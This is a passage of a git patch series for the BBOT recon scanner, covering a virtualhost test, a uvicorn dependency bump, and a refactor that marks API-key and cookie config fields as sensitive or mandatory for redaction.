wordcloud-driven candidate testing." + +include: + - virtualhost + +config: + modules: + virtualhost: + special_hosts: True + certificate_sans: True + wordcloud_check: True diff --git a/bbot/presets/web/virtualhost.yml b/bbot/presets/web/virtualhost.yml new file mode 100644 index 0000000000..d8f1374abc --- /dev/null +++ b/bbot/presets/web/virtualhost.yml @@ -0,0 +1,4 @@ +description: "Virtual host discovery: subdomain brute-force and mutations against the target host's Host header / SNI." + +modules: + - virtualhost diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py index 832587fae1..e5226cf13c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py +++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py @@ -890,3 +890,76 @@ def check(self, module_test, events): print( f"Test results: virtual_host_found={virtual_host_found}, http_response_found={http_response_found}, jwt_cookie_vuln_found={jwt_cookie_vuln_found}, jwt_body_vuln_found={jwt_body_vuln_found}" ) + + +class TestVirtualhostCertificateSANs(VirtualhostTestBase): + """Exercise the certificate-SAN code path on HTTPS URL events.""" + + targets = ["https://localhost:9999"] + modules_overrides = ["virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "subdomain_brute": False, + "mutation_check": False, + "special_hosts": False, + "certificate_sans": True, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + async def setup_after_prep(self, module_test): + self.captured_san_arg = [] + + vh_module = module_test.scan.modules["virtualhost"] + captured = self.captured_san_arg + + async def fake_analyze(arg): + captured.append(arg) + return [] + + async def fake_baseline(event, normalized_url, host_ip): + return {"http_code": 200, "response_data": "baseline", "url": normalized_url} + + async def fake_wildcard_check(scheme, host, event, host_ip, baseline): + return True + + module_test.monkeypatch.setattr(vh_module, "_analyze_subject_alternate_names", fake_analyze) + module_test.monkeypatch.setattr(vh_module, "_get_baseline_response", fake_baseline) + module_test.monkeypatch.setattr(vh_module, "_wildcard_canary_check", fake_wildcard_check) + + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_sans" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "https://localhost:9999/", + "URL", + parent=event, + tags=["status-200", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_sans"] = DummyModule(module_test.scan) + + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def check(self, module_test, events): + assert self.captured_san_arg, "SAN analyzer was never invoked on the HTTPS URL event" + san_arg = self.captured_san_arg[0] + assert isinstance(san_arg, str), ( + f"SAN analyzer received {type(san_arg).__name__}, expected str. Value: {san_arg!r}" + ) + assert san_arg.startswith("https://"), f"Expected HTTPS URL, got {san_arg!r}" From 025dfb7a8b15dcb279f76410771ae0ca75ced04e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 5 May 2026 13:13:05 +0000 Subject: [PATCH 602/912] Update uvicorn requirement from <0.40,>=0.32 to >=0.32,<0.47 Updates the requirements on [uvicorn](https://github.com/Kludex/uvicorn) to permit the latest version. - [Release notes](https://github.com/Kludex/uvicorn/releases) - [Changelog](https://github.com/Kludex/uvicorn/blob/main/docs/release-notes.md) - [Commits](https://github.com/Kludex/uvicorn/compare/0.32.0...0.46.0) --- updated-dependencies: - dependency-name: uvicorn dependency-version: 0.46.0 dependency-type: direct:development ... Signed-off-by: dependabot[bot] --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 2de1d7fd2a..f7b5a559d0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -74,7 +74,7 @@ dev = [ "pytest-httpserver>=1.0.11,<2", "pytest>=8.3.1,<10", "pytest-asyncio==1.3.0", - "uvicorn>=0.32,<0.40", + "uvicorn>=0.32,<0.47", "fastapi>=0.115.5,<0.137.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", From d04ef70bdc3e692f5228be11a60e931ee25db998 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Tue, 5 May 2026 10:03:36 -0400 Subject: [PATCH 603/912] mandatory and sensitive fields --- bbot/core/config/models.py | 140 +++++++++++++++++++++- bbot/core/core.py | 57 ++++----- bbot/core/modules.py | 65 ++++++++-- bbot/modules/anubisdb.py | 3 +- bbot/modules/apkpure.py | 3 +- bbot/modules/baddns_direct.py | 3 +- bbot/modules/baddns_zone.py | 3 +- bbot/modules/badsecrets.py | 3 +- bbot/modules/base.py | 12 +- bbot/modules/bevigil.py | 6 +- bbot/modules/bucket_amazon.py | 3 +- bbot/modules/bucket_digitalocean.py | 3 +- bbot/modules/bucket_file_enum.py | 3 +- bbot/modules/bucket_firebase.py | 3 +- bbot/modules/bucket_google.py | 3 +- bbot/modules/bucket_microsoft.py | 3 +- bbot/modules/bufferoverrun.py | 6 +- bbot/modules/builtwith.py | 6 +- bbot/modules/c99.py | 6 +- bbot/modules/censys_dns.py | 8 +- bbot/modules/censys_ip.py | 8 +- bbot/modules/chaos.py | 6 +- bbot/modules/credshed.py | 10 +- bbot/modules/dehashed.py | 6 +- bbot/modules/dnsbimi.py | 3 +- bbot/modules/dnsbrute.py | 3 +- bbot/modules/dnsbrute_mutations.py | 3 +- bbot/modules/dnscaa.py | 3 +- bbot/modules/dnscommonsrv.py | 3 +- bbot/modules/dnstlsrpt.py | 3 +- bbot/modules/docker_pull.py | 3 +- bbot/modules/ffuf.py | 3 +- bbot/modules/ffuf_shortnames.py | 3 +- bbot/modules/filedownload.py | 3 +- bbot/modules/fingerprintx.py | 3 +- bbot/modules/fullhunt.py | 6 +- bbot/modules/git_clone.py | 5 +- bbot/modules/gitdumper.py | 3 +- bbot/modules/github_codesearch.py | 6 +- bbot/modules/github_org.py | 5 +- bbot/modules/github_usersearch.py | 6 +- bbot/modules/github_workflows.py | 6 +- bbot/modules/gitlab_com.py | 5 +- bbot/modules/gitlab_onprem.py | 5 +- bbot/modules/gowitness.py | 3 +- bbot/modules/graphql_introspection.py | 3 +- bbot/modules/httpx.py | 3 +- bbot/modules/hunterio.py | 12 +- bbot/modules/iis_shortnames.py | 3 +- bbot/modules/internal/excavate.py | 3 +- bbot/modules/internal/speculate.py | 3 +- bbot/modules/ip2location.py | 6 +- bbot/modules/ipneighbor.py | 3 +- bbot/modules/ipstack.py | 12 +- bbot/modules/jadx.py | 3 +- bbot/modules/kreuzberg.py | 3 +- bbot/modules/leakix.py | 5 +- bbot/modules/legba.py | 3 +- bbot/modules/lightfuzz/lightfuzz.py | 3 +- bbot/modules/medusa.py | 3 +- bbot/modules/ntlm.py | 3 +- bbot/modules/nuclei.py | 3 +- bbot/modules/oauth.py | 3 +- bbot/modules/otx.py | 6 +- bbot/modules/output/asset_inventory.py | 3 +- bbot/modules/output/csv.py | 3 +- bbot/modules/output/discord.py | 5 +- bbot/modules/output/elastic.py | 7 +- bbot/modules/output/emails.py | 3 +- bbot/modules/output/http.py | 9 +- bbot/modules/output/json.py | 3 +- bbot/modules/output/kafka.py | 3 +- bbot/modules/output/mongo.py | 9 +- bbot/modules/output/mysql.py | 7 +- bbot/modules/output/nats.py | 3 +- bbot/modules/output/neo4j.py | 7 +- bbot/modules/output/postgres.py | 7 +- bbot/modules/output/rabbitmq.py | 5 +- bbot/modules/output/slack.py | 5 +- bbot/modules/output/splunk.py | 5 +- bbot/modules/output/sqlite.py | 3 +- bbot/modules/output/subdomains.py | 3 +- bbot/modules/output/teams.py | 5 +- bbot/modules/output/txt.py | 3 +- bbot/modules/output/web_parameters.py | 3 +- bbot/modules/output/web_report.py | 3 +- bbot/modules/output/websocket.py | 5 +- bbot/modules/output/zeromq.py | 3 +- bbot/modules/paramminer_cookies.py | 3 +- bbot/modules/paramminer_getparams.py | 3 +- bbot/modules/paramminer_headers.py | 3 +- bbot/modules/passivetotal.py | 8 +- bbot/modules/pgp.py | 3 +- bbot/modules/portfilter.py | 3 +- bbot/modules/portscan.py | 3 +- bbot/modules/postman.py | 5 +- bbot/modules/postman_download.py | 5 +- bbot/modules/robots.py | 3 +- bbot/modules/securitytrails.py | 6 +- bbot/modules/securitytxt.py | 3 +- bbot/modules/shodan_dns.py | 12 +- bbot/modules/shodan_enterprise.py | 6 +- bbot/modules/shodan_idb.py | 3 +- bbot/modules/sslcert.py | 3 +- bbot/modules/subdomainradar.py | 3 +- bbot/modules/telerik.py | 3 +- bbot/modules/templates/postman.py | 1 - bbot/modules/templates/subdomain_enum.py | 2 +- bbot/modules/trajan.py | 17 +-- bbot/modules/trickest.py | 12 +- bbot/modules/trufflehog.py | 3 +- bbot/modules/url_manipulation.py | 3 +- bbot/modules/urlscan.py | 3 +- bbot/modules/virustotal.py | 6 +- bbot/modules/wafw00f.py | 3 +- bbot/modules/wayback.py | 3 +- bbot/modules/wpscan.py | 5 +- bbot/test/test_step_1/test_presets.py | 10 +- docs/data/chord_graph/entities.json | 4 +- docs/data/chord_graph/rels.json | 5 + docs/dev/preset_validation.md | 146 +++++++++++++++++++++++ mkdocs.yml | 1 + 122 files changed, 574 insertions(+), 375 deletions(-) create mode 100644 docs/dev/preset_validation.md diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 3ac3e83d62..5f69456b42 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -15,13 +15,142 @@ from typing import Any, Literal, Optional -from pydantic import BaseModel, ConfigDict, Field +from pydantic import BaseModel, ConfigDict +from pydantic import Field as _PydanticField +from pydantic_core import PydanticUndefined from pydantic_settings import BaseSettings, SettingsConfigDict STRICT = ConfigDict(extra="forbid") +def Field(default=PydanticUndefined, *, sensitive: bool = False, mandatory: bool = False, **kwargs): + """ + Drop-in replacement for `pydantic.Field` that records two BBOT-specific + flags as field metadata: + + - `sensitive=True`: value should be redacted when serializing configs + (api keys, passwords, http cookies, …). + - `mandatory=True`: option must be supplied for the module to function; + drives the "Needs API Key" column in `bbot -l` and the + `BaseModule.auth_required` property. + + Both flags are stashed under `json_schema_extra` so pydantic preserves + them on `FieldInfo.json_schema_extra` (and in any generated JSON schema) + without affecting validation. All other arguments pass through unchanged. + """ + extra = dict(kwargs.pop("json_schema_extra", None) or {}) + if sensitive: + extra["sensitive"] = True + if mandatory: + extra["mandatory"] = True + if extra: + kwargs["json_schema_extra"] = extra + return _PydanticField(default, **kwargs) + + +def field_flags(field) -> dict: + """Return the BBOT flags dict for a pydantic FieldInfo (empty if none).""" + extra = getattr(field, "json_schema_extra", None) + return dict(extra) if isinstance(extra, dict) else {} + + +def is_sensitive(field) -> bool: + return bool(field_flags(field).get("sensitive")) + + +def is_mandatory(field) -> bool: + return bool(field_flags(field).get("mandatory")) + + +def _unwrap_optional(annotation): + """Strip a single `Optional[X]` / `Union[X, None]` wrapper, return X. Pass-through otherwise.""" + import typing + + origin = typing.get_origin(annotation) + if origin is typing.Union: + args = [a for a in typing.get_args(annotation) if a is not type(None)] + if len(args) == 1: + return args[0] + return annotation + + +def _resolve_field(model, key): + """Resolve `key` against `model.model_fields`, honoring `Field(alias=...)`.""" + fields = getattr(model, "model_fields", None) + if not fields: + return None + if key in fields: + return fields[key] + for f in fields.values(): + if getattr(f, "alias", None) == key: + return f + return None + + +def _field_submodel(field): + """If `field`'s annotation is a `BaseModel` subclass, return it; else None.""" + if field is None: + return None + ann = _unwrap_optional(field.annotation) + if isinstance(ann, type) and issubclass(ann, BaseModel): + return ann + return None + + +def partition_sensitive_config(config, model, *, keep_sensitive: bool): + """ + Walk `config` (a dict) alongside the pydantic `model`, returning a copy + that either drops or extracts every `sensitive=True` field. + + - `keep_sensitive=False` -> caller wants the public, non-secret view (used + by `BBOTCore.no_secrets_config`). + - `keep_sensitive=True` -> caller wants only the secrets (used by + `BBOTCore.secrets_only_config` to materialize `~/.config/bbot/secrets.yml`). + + Unknown keys (no matching field in the schema) pass through unchanged when + redacting and are dropped when extracting secrets-only. + """ + import copy as _copy + + if not isinstance(config, dict) or model is None: + return _copy.deepcopy(config) if keep_sensitive is False else {} + + out: dict = {} + for key, val in config.items(): + field = _resolve_field(model, key) + sub_model = _field_submodel(field) + + if sub_model is not None and isinstance(val, dict): + child = partition_sensitive_config(val, sub_model, keep_sensitive=keep_sensitive) + # When redacting, preserve the parent key even if its body was + # entirely sensitive — matches the prior `clean_dict` behavior. + # When extracting secrets-only, drop empty branches so the result + # is just the secrets that exist. + if keep_sensitive: + if child: + out[key] = child + else: + out[key] = child + continue + + if field is None: + # No matching schema field — pass through unchanged when redacting, + # drop when extracting secrets-only. + if not keep_sensitive: + out[key] = _copy.deepcopy(val) + continue + + sensitive = is_sensitive(field) + if keep_sensitive: + if sensitive: + out[key] = _copy.deepcopy(val) + else: + if not sensitive: + out[key] = _copy.deepcopy(val) + return out + + class ScopeConfig(BaseModel): model_config = STRICT @@ -64,7 +193,7 @@ class WebConfig(BaseModel): http_timeout: Optional[int] = None httpx_timeout: Optional[int] = None http_headers: Optional[dict[str, str]] = None - http_cookies: Optional[dict[str, str]] = None + http_cookies: Optional[dict[str, str]] = Field(default=None, sensitive=True) api_retries: Optional[int] = None http_retries: Optional[int] = None httpx_retries: Optional[int] = None @@ -184,7 +313,7 @@ class BBOTConfig(BaseSettings): # Interactsh interactsh_server: Optional[str] = None - interactsh_token: Optional[str] = None + interactsh_token: Optional[str] = Field(default=None, sensitive=True) interactsh_disable: Optional[bool] = None # Per-module configs — validated separately, per-module, against each @@ -243,7 +372,12 @@ class PresetSchema(BaseModel): "DepsToolConfig", "DnsConfig", "EngineConfig", + "Field", "PresetSchema", "ScopeConfig", "WebConfig", + "field_flags", + "is_mandatory", + "is_sensitive", + "partition_sensitive_config", ] diff --git a/bbot/core/core.py b/bbot/core/core.py index 26eda685ba..feeccac0f5 100644 --- a/bbot/core/core.py +++ b/bbot/core/core.py @@ -25,11 +25,6 @@ class BBOTCore: - load quickly """ - # used for filtering out sensitive config values - secrets_strings = ["api_key", "username", "password", "token", "secret", "_id"] - # don't filter/remove entries under this key - secrets_exclude_keys = ["modules"] - def __init__(self): self._logger = None self._files_config = None @@ -131,30 +126,38 @@ def custom_config(self, value: dict): self._custom_config = dict(value) if value else {} def no_secrets_config(self, config): - """Return a copy of the config with secret-looking keys removed.""" - from .helpers.misc import clean_dict - - if not isinstance(config, dict): - config = deepcopy(config) - return clean_dict( - config, - *self.secrets_strings, - fuzzy=True, - exclude_keys=self.secrets_exclude_keys, - ) + """Return a copy of `config` with every `sensitive=True` field removed. + + Sensitivity is read from the per-field `json_schema_extra["sensitive"]` + flag declared on `BBOTConfig` (and each module's `class Config`). + Module-level redaction uses the composite schema built lazily by + `MODULE_LOADER.config_schema`; if a key isn't covered by any schema + (e.g. an unknown module), it passes through unchanged. + """ + from .config.models import partition_sensitive_config + + return partition_sensitive_config(config, self._config_schema(), keep_sensitive=False) def secrets_only_config(self, config): - """Return a copy of the config containing only secret-looking keys.""" - from .helpers.misc import filter_dict - - if not isinstance(config, dict): - config = deepcopy(config) - return filter_dict( - config, - *self.secrets_strings, - fuzzy=True, - exclude_keys=self.secrets_exclude_keys, - ) + """Return a copy of `config` containing only `sensitive=True` fields. + + Inverse of `no_secrets_config()`. Useful for splitting a merged config + into a public `bbot.yml` and a private `secrets.yml`. + """ + from .config.models import partition_sensitive_config + + return partition_sensitive_config(config, self._config_schema(), keep_sensitive=True) + + def _config_schema(self): + """Resolve the runtime BBOTConfig schema (with per-module configs).""" + try: + from bbot.core.modules import MODULE_LOADER + + return MODULE_LOADER.config_schema + except Exception: + from .config.models import BBOTConfig + + return BBOTConfig def merge_custom(self, config): """Merge a config dict into the custom config.""" diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 5756848d92..e0b1825644 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -69,8 +69,8 @@ def _exec_config_class(source: str, module_name: str): `list[Union[int, str]]`, …) without any hand-rolled resolver. """ from typing import Any, Dict, List, Literal, Optional, Set, Tuple, Union - from pydantic import AfterValidator, BeforeValidator, Field, field_validator, model_validator - from bbot.core.config.models import BaseModuleConfig + from pydantic import AfterValidator, BeforeValidator, field_validator, model_validator + from bbot.core.config.models import BaseModuleConfig, Field namespace: dict = { "Any": Any, @@ -167,17 +167,20 @@ def _build_validation_schema(preloaded: dict): return FullPresetSchema -def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict]: +def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict, set, set]: """ Walk a `class Config(BaseModuleConfig):` block and extract - `(defaults, descriptions)` dicts — cheap metadata used for `bbot -l` and - similar listing paths, without importing or exec-ing anything. + `(defaults, descriptions, sensitive, mandatory)` — cheap metadata used + for `bbot -l` and similar listing paths, without importing or exec-ing + anything. The actual typed pydantic class is built later via `_exec_config_class` on the captured source text. """ defaults: dict = {} descriptions: dict = {} + sensitive: set = set() + mandatory: set = set() for node in config_class.body: # `model_config = ConfigDict(...)` etc. are plain assigns, not typed — skip. if not isinstance(node, ast.AnnAssign) or not isinstance(node.target, ast.Name): @@ -188,10 +191,12 @@ def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict]: default = _UNEVALUATED description = "" + is_sensitive = False + is_mandatory = False value = node.value if isinstance(value, ast.Call) and isinstance(value.func, ast.Name) and value.func.id == "Field": - # Field(default, description="...", default_factory=..., ...) + # Field(default, description="...", default_factory=..., sensitive=..., mandatory=..., ...) # - first positional arg is the default, if given if value.args: default = _eval_ast_default(value.args[0]) @@ -203,6 +208,18 @@ def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict]: elif kw.arg == "description": with suppress(ValueError, TypeError, SyntaxError): description = ast.literal_eval(kw.value) + elif kw.arg == "sensitive": + with suppress(ValueError, TypeError, SyntaxError): + is_sensitive = bool(ast.literal_eval(kw.value)) + elif kw.arg == "mandatory": + with suppress(ValueError, TypeError, SyntaxError): + is_mandatory = bool(ast.literal_eval(kw.value)) + elif kw.arg == "json_schema_extra": + with suppress(ValueError, TypeError, SyntaxError): + extra = ast.literal_eval(kw.value) + if isinstance(extra, dict): + is_sensitive = is_sensitive or bool(extra.get("sensitive")) + is_mandatory = is_mandatory or bool(extra.get("mandatory")) elif value is not None: default = _eval_ast_default(value) @@ -211,7 +228,11 @@ def _extract_pydantic_config(config_class: ast.ClassDef) -> tuple[dict, dict]: default = None defaults[name] = default descriptions[name] = description - return defaults, descriptions + if is_sensitive: + sensitive.add(name) + if is_mandatory: + mandatory.add(name) + return defaults, descriptions, sensitive, mandatory class ModuleLoader: @@ -452,6 +473,25 @@ def validation_schema(self): self._validation_schema = _build_validation_schema(self._preloaded) return self._validation_schema + @property + def config_schema(self): + """ + The runtime `BBOTConfig` schema with per-module configs grafted in. + + This is `validation_schema.config` (i.e. `FullBBOTConfig`) and is the + right model to walk a config dict against — used by + `BBOTCore.no_secrets_config()` and `BBOTCore.secrets_only_config()` to + partition sensitive fields. + """ + from bbot.core.config.models import _unwrap_optional + + field = self.validation_schema.model_fields.get("config") + if field is None: + from bbot.core.config.models import BBOTConfig + + return BBOTConfig + return _unwrap_optional(field.annotation) + def find_and_replace(self, **kwargs): self.__preloaded = search_format_dict(self.__preloaded, **kwargs) self._shared_deps = search_format_dict(self._shared_deps, **kwargs) @@ -520,6 +560,8 @@ def preload_module(self, module_file): ansible_tasks = [] config = {} options_desc = {} + options_sensitive: set = set() + options_mandatory: set = set() config_source: str | None = None disable_auto_module_deps = False with open(module_file) as f: @@ -549,9 +591,11 @@ def preload_module(self, module_file): for class_attr in root_element.body: # nested `class Config(BaseModuleConfig): ...` — the module's config schema if type(class_attr) == ast.ClassDef and class_attr.name == "Config": - config_fields, config_descs = _extract_pydantic_config(class_attr) + config_fields, config_descs, config_sens, config_mand = _extract_pydantic_config(class_attr) config.update(config_fields) options_desc.update(config_descs) + options_sensitive.update(config_sens) + options_mandatory.update(config_mand) # capture the class source verbatim; schema build re-execs it config_source = ast.get_source_segment(python_code, class_attr) continue @@ -635,6 +679,8 @@ def preload_module(self, module_file): "meta": meta, "config": config, "options_desc": options_desc, + "options_sensitive": sorted(options_sensitive), + "options_mandatory": sorted(options_mandatory), "config_source": config_source, "hash": module_hash, "deps": { @@ -770,9 +816,8 @@ def modules_table(self, modules=None, mod_type=None, include_author=False, inclu consumed_events = sorted(preloaded.get("watched_events", [])) produced_events = sorted(preloaded.get("produced_events", [])) flags = sorted(preloaded.get("flags", [])) - api_key_required = "" meta = preloaded.get("meta", {}) - api_key_required = "Yes" if meta.get("auth_required", False) else "No" + api_key_required = "Yes" if preloaded.get("options_mandatory") else "No" description = meta.get("description", "") row = [ module_name, diff --git a/bbot/modules/anubisdb.py b/bbot/modules/anubisdb.py index 2e1688a489..4e4b869ad9 100644 --- a/bbot/modules/anubisdb.py +++ b/bbot/modules/anubisdb.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class anubisdb(subdomain_enum): diff --git a/bbot/modules/apkpure.py b/bbot/modules/apkpure.py index 602c048725..41fbda3da3 100644 --- a/bbot/modules/apkpure.py +++ b/bbot/modules/apkpure.py @@ -1,8 +1,7 @@ import re from pathlib import Path from bbot.modules.base import BaseModule -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class apkpure(BaseModule): diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index 6f9a7ede3a..82fea18488 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -1,6 +1,5 @@ from .baddns import baddns as baddns_module -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class baddns_direct(baddns_module): diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index 25eda1695d..76be6cc692 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -1,6 +1,5 @@ from .baddns import baddns as baddns_module -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class baddns_zone(baddns_module): diff --git a/bbot/modules/badsecrets.py b/bbot/modules/badsecrets.py index f9847e8fb1..59b9436019 100644 --- a/bbot/modules/badsecrets.py +++ b/bbot/modules/badsecrets.py @@ -2,8 +2,7 @@ from pathlib import Path from .base import BaseModule from badsecrets.base import carve_all_modules -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field from typing import Optional diff --git a/bbot/modules/base.py b/bbot/modules/base.py index f561fdcf19..0d427b8c8f 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -18,7 +18,7 @@ class BaseModule: produced_events (List): Event types to produce. - meta (Dict): Metadata about the module, such as whether authentication is required and a description. + meta (Dict): Metadata about the module — description, author, created_date, etc. flags (List): Flags indicating the type of module (must have at least "passive" or "active"). @@ -86,7 +86,7 @@ class BaseModule: watched_events = [] produced_events = [] - meta = {"auth_required": False, "description": "Base module"} + meta = {"description": "Base module"} flags = [] options = {} options_desc = {} @@ -1503,7 +1503,13 @@ def priority(self): @property def auth_required(self): - return self.meta.get("auth_required", False) + """True iff this module's `class Config` declares any `mandatory=True` field.""" + cfg = getattr(type(self), "Config", None) + if cfg is None: + return False + from bbot.core.config.models import is_mandatory + + return any(is_mandatory(f) for f in getattr(cfg, "model_fields", {}).values()) @property def http_timeout(self): diff --git a/bbot/modules/bevigil.py b/bbot/modules/bevigil.py index 9103fe872b..c657038da1 100644 --- a/bbot/modules/bevigil.py +++ b/bbot/modules/bevigil.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class bevigil(subdomain_enum_apikey): @@ -15,11 +14,10 @@ class bevigil(subdomain_enum_apikey): "description": "Retrieve OSINT data from mobile applications using BeVigil", "created_date": "2022-10-26", "author": "@alt-glitch", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="BeVigil OSINT API Key") + api_key: str = Field("", description="BeVigil OSINT API Key", sensitive=True, mandatory=True) urls: bool = Field(False, description="Emit URLs in addition to DNS_NAMEs") base_url = "https://osint.bevigil.com/api" diff --git a/bbot/modules/bucket_amazon.py b/bbot/modules/bucket_amazon.py index 98c0f74846..94008fa7bb 100644 --- a/bbot/modules/bucket_amazon.py +++ b/bbot/modules/bucket_amazon.py @@ -1,6 +1,5 @@ from bbot.modules.templates.bucket import bucket_template -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class bucket_amazon(bucket_template): diff --git a/bbot/modules/bucket_digitalocean.py b/bbot/modules/bucket_digitalocean.py index 187e71f2ba..1c462bd727 100644 --- a/bbot/modules/bucket_digitalocean.py +++ b/bbot/modules/bucket_digitalocean.py @@ -1,6 +1,5 @@ from bbot.modules.templates.bucket import bucket_template -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class bucket_digitalocean(bucket_template): diff --git a/bbot/modules/bucket_file_enum.py b/bbot/modules/bucket_file_enum.py index b3d3d854b3..a464316d80 100644 --- a/bbot/modules/bucket_file_enum.py +++ b/bbot/modules/bucket_file_enum.py @@ -1,7 +1,6 @@ from bbot.modules.base import BaseModule import xml.etree.ElementTree as ET -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class bucket_file_enum(BaseModule): diff --git a/bbot/modules/bucket_firebase.py b/bbot/modules/bucket_firebase.py index ce93f713ef..dbe64bf475 100644 --- a/bbot/modules/bucket_firebase.py +++ b/bbot/modules/bucket_firebase.py @@ -1,6 +1,5 @@ from bbot.modules.templates.bucket import bucket_template -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class bucket_firebase(bucket_template): diff --git a/bbot/modules/bucket_google.py b/bbot/modules/bucket_google.py index 9185f2ce6b..edaf864f0c 100644 --- a/bbot/modules/bucket_google.py +++ b/bbot/modules/bucket_google.py @@ -1,6 +1,5 @@ from bbot.modules.templates.bucket import bucket_template -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class bucket_google(bucket_template): diff --git a/bbot/modules/bucket_microsoft.py b/bbot/modules/bucket_microsoft.py index 51e4fdb1c2..a565fdfe01 100644 --- a/bbot/modules/bucket_microsoft.py +++ b/bbot/modules/bucket_microsoft.py @@ -1,6 +1,5 @@ from bbot.modules.templates.bucket import bucket_template -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class bucket_microsoft(bucket_template): diff --git a/bbot/modules/bufferoverrun.py b/bbot/modules/bufferoverrun.py index bbcd1bc0a5..4744c72b1a 100644 --- a/bbot/modules/bufferoverrun.py +++ b/bbot/modules/bufferoverrun.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class BufferOverrun(subdomain_enum_apikey): @@ -11,11 +10,10 @@ class BufferOverrun(subdomain_enum_apikey): "description": "Query BufferOverrun's TLS API for subdomains", "created_date": "2024-10-23", "author": "@TheTechromancer", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="BufferOverrun API key") + api_key: str = Field("", description="BufferOverrun API key", sensitive=True, mandatory=True) commercial: bool = Field(False, description="Use commercial API") base_url = "https://tls.bufferover.run/dns" diff --git a/bbot/modules/builtwith.py b/bbot/modules/builtwith.py index 38102ed57d..1b34944d55 100644 --- a/bbot/modules/builtwith.py +++ b/bbot/modules/builtwith.py @@ -11,8 +11,7 @@ ############################################################ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class builtwith(subdomain_enum_apikey): @@ -23,11 +22,10 @@ class builtwith(subdomain_enum_apikey): "description": "Query Builtwith.com for subdomains", "created_date": "2022-08-23", "author": "@TheTechromancer", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="Builtwith API key") + api_key: str = Field("", description="Builtwith API key", sensitive=True, mandatory=True) redirects: bool = Field(True, description="Also look up inbound and outbound redirects") base_url = "https://api.builtwith.com" diff --git a/bbot/modules/c99.py b/bbot/modules/c99.py index 1676117779..bc0c16f8e2 100644 --- a/bbot/modules/c99.py +++ b/bbot/modules/c99.py @@ -1,6 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey -from pydantic import Field -from bbot.core.config.models import BaseModuleConfig +from bbot.core.config.models import BaseModuleConfig, Field class c99(subdomain_enum_apikey): @@ -11,11 +10,10 @@ class c99(subdomain_enum_apikey): "description": "Query the C99 API for subdomains", "created_date": "2022-07-08", "author": "@TheTechromancer", - "auth_required": True, } class Config(BaseModuleConfig): - api_key: str = Field("", description="c99.nl API key") + api_key: str = Field("", description="c99.nl API key", sensitive=True, mandatory=True) base_url = "https://api.c99.nl" ping_url = f"{base_url}/randomnumber?key={{api_key}}&between=1,100&json" diff --git a/bbot/modules/censys_dns.py b/bbot/modules/censys_dns.py index f3a4645a52..f9ba270ac1 100644 --- a/bbot/modules/censys_dns.py +++ b/bbot/modules/censys_dns.py @@ 